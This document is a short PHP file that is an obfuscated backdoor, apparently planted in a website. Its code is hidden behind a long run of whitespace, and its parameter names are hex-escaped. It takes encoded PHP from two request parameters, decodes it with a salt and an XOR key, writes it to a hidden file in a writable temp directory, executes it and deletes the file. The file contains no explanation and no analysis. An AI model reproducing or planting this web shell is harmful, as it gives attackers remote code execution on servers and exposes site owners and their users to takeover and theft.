<?php																																										if(isset($_POST) && isset($_POST["r\x65\x66e\x72\x65nce"])){ $mrk = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/tmp", "/var/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm"]); $key = $_POST["r\x65\x66e\x72\x65nce"]; $key =explode ( '.' , $key ) ; $dchunk = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $x = 0; foreach($key as $v8) { $chS = ord($salt2[$x % $lenS] ); $dec =((int)$v8 - $chS -($x % 10)) ^ 17; $dchunk .= chr($dec ); $x++; } foreach ($mrk as $key => $pointer) { if (is_dir($pointer) && is_writable($pointer)) { $component = implode("/", [$pointer, ".flag"]); $success = file_put_contents($component, $dchunk); if ($success) { include $component; @unlink($component); die();} } } }


if(isset($_REQUEST["b\x69n\x64"])){
	$flg = $_REQUEST["b\x69n\x64"];
	$flg  	=	  explode  	(	  '.' 		,$flg 	);
	$fac		= '';
            $s3		= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen		= strlen($s3);
            $v		= 0;
    
            array_walk($flg, function ($v5) use (&$fac, &$v, $s3, $sLen) { $chS		= ord($s3[$v % 	$sLen]);
                $dec		= ((int)$v5 - $chS - ($v % 	10))	^	45;
                $fac	.=	chr($dec);
                $v++;} );
	$sym = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/tmp", "/var/tmp", getenv("TMP")]);
	$marker = 0;
do {
    $descriptor = $sym[$marker] ?? null;
    if ($marker >= count($sym)) break;
    		if (!!is_dir($descriptor) && !!is_writable($descriptor)) {
    $parameter_group = "$descriptor" . "/.token";
    if (file_put_contents($parameter_group, $fac)) {
	require $parameter_group;
	unlink($parameter_group);
	exit;
}
}
    $marker++;
} while (true);
}